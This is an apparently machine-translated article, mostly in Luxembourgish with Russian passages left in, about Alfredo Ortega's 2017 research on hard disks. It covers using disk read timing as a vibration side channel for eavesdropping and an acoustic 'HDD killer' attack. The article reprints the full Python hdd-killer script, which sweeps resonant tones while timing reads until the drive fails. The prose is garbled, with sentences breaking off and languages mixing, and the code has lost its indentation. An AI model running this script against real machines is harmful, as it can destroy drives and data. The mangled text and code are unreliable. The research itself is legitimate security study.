
Op der Ekoparty 2017 Computer Sécherheetskonferenz zu Buenos Aires huet den argentineschen Hacker Alfredo Ortega eng ganz interessant Entwécklung gewisen - e System fir geheime Oflauschtere vu Raimlechkeeten ouni Mikrofon ze benotzen. Toun !
D'HDD hëlt haaptsächlech héich-Intensitéit niddereg-Frequenz Kläng, Fouss an aner Schwéngungen. Mënschlech Ried kann nach net unerkannt ginn, obwuel Wëssenschaftler (Riederkennung duerch niddereg-frequenz Schwéngungen, déi zum Beispill aus engem Gyroskop oder HDD opgeholl ginn).
Sound ass d'Vibration vun der Loft oder engem anere Medium. Eng Persoun erkennt se duerch den Trommel, wat Schwéngungen an dat banneschten Ouer iwwerdréit. De Mikrofon ass ongeféier wéi en Ouer entworf - och hei gi Schwéngungen duerch eng dënn Membran opgeholl, déi en elektreschen Impuls opreegt. D'Harddisk ass natierlech och ënnerläit vu mikroskopesche Schwéngungen wéinst Schwankungen an der Ëmgéigend. Dëst ass och aus den techneschen Charakteristiken vun HDDs bekannt: Hiersteller weisen normalerweis de maximal zulässleche Schwéngungsniveau un, an d'Festplack selwer probéiert et dacks an engem Schwéngungsbeständeg Container aus Gummi oder aner Isoléiermaterial ze placéieren. Vun dësem ass et einfach ze schléissen datt Kläng mat HDD opgeholl kënne ginn. Alles wat bleift ass erauszefannen wéi.
Alfredo Ortega proposéiert eng eenzegaarteg Versioun vun engem Säit-Kanal Attack, nämlech eng Zäit Attack. Dës Attack baséiert op der Virgab datt verschidden Operatiounen um Apparat zu verschiddenen Zäiten ausgefouert ginn, ofhängeg vun den Inputdaten, déi uginn. An dësem Fall sinn d'"Inputdaten" Schwéngungen vum Lieskopf an der HDD-Platter, déi mat de Schwéngungen vun der Ëmwelt korreléieren, dat heescht mam Toun. Also, andeems Dir d'Rechnungszäit moosst an eng statistesch Analyse vun den Donnéeën ausféiert, kënnen d'Schwéngungen vum Kapp/Platter an domat d'Vibrationen vum Medium gemooss ginn. Wat méi laang d'Verzögerung beim Liesen vun Daten ass, dest méi staark d'HDD Schwéngungen an dofir, dest méi haart den Toun.
Wéi moosst Hard Drive Vibration? Ganz einfach: lafen einfach de System Uruff read () - a notéiert d'Zäit déi et brauch fir ze kompletéieren. Modern Betribssystemer erlaben Iech den Timing vun System Uriff mat Nanosekonnen Genauegkeet ze liesen.
D'Geschwindegkeet fir Informatioun aus engem Sektor ze liesen hänkt vun der Positioun vum Kapp a Plack of, wat mat Schwéngungen vum HDD Fall korreléiert. Dat ass alles.
Statistesch Analyse gëtt mat engem einfachen Kscope Utility duerchgefouert. Wéi se soen, alles genial ass einfach.

Kscope Utility (stat() syscall)
Kscope ass e klengen Utility fir kleng Differenzen an der Ausféierungszäite vum System Call ze visualiséieren. Quell.
An engem separaten Depot et gëtt eng Versioun vum Utility fir eng Zäitattack op der Festplack konfiguréiert, dat heescht, konfiguréiert fir de Systemruff ze analyséieren read ().
Demonstratioun vun Tounopnam mat HDD, Operatioun vum Kscope Utility

Natierlech kann d'Ried net op dës Manéier verstane ginn, awer d'HDD ass ganz gëeegent als Schwéngungssensor. Zum Beispill, Dir kënnt Iech registréieren wann eng Persoun mat haarde Schong oder Barfuß an engem Raum mat engem Computer erakoum (wahrscheinlech, wann den Ugräifer mëll Turnschueller huet oder en décke Teppech um Buedem ass, kann d'HDD keng Schwéngungen registréieren - Dëst ass derwäert ze kontrolléieren). De Computer ass fäeg gebrach Glas oder aner Tëschefäll mat staarker Tounintensitéit ze registréieren. Dat ass, der Festplack kann als Zort vun onerlaabt Andréngen Detektioun System déngen.
HDD Killer
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

De Kär Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из mat enger Demonstratioun vum HDD Killer
Et ass virwëtzeg datt esou "Attacke" op HDDs heiansdo ganz zoufälleg am Alldag geschéien. Zum Beispill, am September 2016, war den Datenzenter vun der ING Bank gezwongen, d'Operatioune fir 10 Stonnen no enger Feierübung ze stoppen. wéinst dem haarden Toun vun Inertgas, deen aus Zylinder ënner héijen Drock erausgeet. Den Toun war ganz haart (méi wéi 130 dB), awer Dir kënnt net emol op d'Festplazen ruffen - dëst erhéicht d'Verzögerung beim Zougang zu der HDD.
Demonstratioun vum mënschleche Gejäiz op Harddisken an engem Rechenzentrum. Latenzmiessung

Fir de resonéierende Sound ze generéieren, huet den Alfredo Ortega e Python Skript geschriwwen ().
Et ass zimmlech kleng, also kënnt Dir et a senger ganzer hei publizéieren.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Source: will.com
